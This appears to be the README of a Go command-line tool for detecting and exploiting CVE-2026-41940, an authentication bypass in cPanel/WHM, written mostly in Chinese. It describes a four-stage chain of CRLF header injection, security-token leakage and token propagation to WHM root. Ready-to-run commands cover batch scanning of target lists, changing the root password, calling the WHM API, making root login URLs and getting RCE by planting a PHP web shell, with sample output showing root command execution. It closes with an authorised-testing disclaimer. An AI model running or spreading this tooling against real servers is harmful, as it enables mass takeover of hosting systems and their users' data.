
Go-based scanner and exploit tool for CVE-2026-41940, an authentication bypass in cPanel/WHM. Supports batch scanning, token leakage, and post-exploitation actions like RCE, password change, and API calls.
基于 watchTowr 的 Python PoC 重写的 Go 命令行工具,用于检测和利用 CVE-2026-41940 cPanel/WHM 认证绕过漏洞。
CVE-2026-41940 是 cPanel/WHM 的认证绕过漏洞,攻击链通过 CRLF 注入 Basic Auth 头部,泄露安全令牌并获取 WHM root 权限。
4 阶段攻击链:
/login/ 发送错误凭据,获取原始 whostmgrsession cookieAuthorization: Basic 头注入换行符,诱使服务器在 307 重定向的 Location 头中泄露 cpsess 安全令牌do_token_denied 将注入的认证数据从原始存储传播到缓存/json-api/version,验证是否获得 root 权限http://、https://、无协议格式,自动去重-passwd)-api)-session)-cmd)[VULN] 红色、[SAFE] 绿色高亮显示# 需要 Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| 参数 | 说明 | 示例 |
|---|---|---|
-u | 单个目标 URL | -u https://1.2.3.4:2087 |
-f | 包含 URL 列表的文件 | -f targets.txt |
-o | 输出文件路径 (默认 result.txt) | -o vuln.txt |
-c | 并发数 (默认 10) | -c 20 |
-hostname | 手动指定 Host 头 (默认自动发现) | -hostname cpanel.example.com |
-passwd | 修改 root 密码 (仅 -u 模式) | -passwd NewP@ss123 |
-api | 调用 WHM API 函数 (仅 -u 模式) | -api listaccts |
-api-params | WHM API 参数,逗号分隔 | -api-params user=root,password=123 |
-session | 生成 root 一键登录 URL (仅 -u 模式) | -session |
-keep | 保留 RCE 临时账户不删除 (配合 -cmd) | -keep |
-cmd | 执行远程命令 / RCE (仅 -u 模式) | -cmd "id" |
./cpanel-checker -u https://target:2087
端口默认为 2087,以下写法等价:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt 支持以下格式(每行一个,# 开头为注释):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# 这是注释
http://1.1.1.1 与 https://1.1.1.1 视为同一目标,只扫描一次https://2087result.txt(可通过 -o 自定义)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# 列出所有账户
./cpanel-checker -u https://target:2087 -api listaccts
# 带参数调用
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
输出一个 URL,浏览器打开即可进入 WHM 管理面板。在面板中使用 Terminal 功能可获取交互式 root shell。
注意:
-session是半自动的 — 工具生成登录 URL 后,需要你手动在浏览器中打开。
./cpanel-checker -u https://target:2087 -cmd "id"
加上 -keep 可保留临时账户,用于登录 cPanel 后台:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
使用 -keep 后输出会包含临时账户的用户名、密码和 cPanel 登录地址(https://host:2083),直接用这些凭据即可登录 cPanel 面板。
-cmd 是全自动的,无需其他手动操作。内部流程:
Fileman::save_file_content) 写入 PHP shell 到 ~/public_html/https://host/~tmpuser/shell.php 执行命令前置条件:目标 80 或 443 端口需可达,且 Apache/httpd 正在运行。
多个利用参数可同时使用:
# 同时获取登录URL、执行命令、修改密码
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
当目标 IP 与 cPanel 配置的主机名不一致时,可手动指定:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
默认情况下工具会通过 /openid_connect/cpanelid 的 307 重定向自动发现正确的主机名。
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== 扫描完成 ==========
总计: 5 | 存在漏洞: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] 结果已保存到 result.txt
[*] 目标: https://target:2087
[*] 模式: 漏洞利用
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] 已获取 WHM root 权限
[*] 执行远程命令 (RCE)...
[a] 创建临时账户: tmpabcde
[b] 写入 shell: /home/tmpabcde/public_html/random.php
[c] 执行命令: id
[d] 清理临时账户: tmpabcde
[+] 命令输出:
uid=0(root) gid=0(root) groups=0(root)
[+] 完成。https://target:2087 已被控制
-passwd、-api、-session、-cmd) 仅在 -u 单目标模式下可用,不支持 -f 批量模式# 开头的行会被忽略本工具仅供授权安全测试和研究使用。未经授权对系统进行测试属于违法行为。使用者应确保已获得目标系统所有者的明确书面授权。作者不对任何滥用行为承担责任。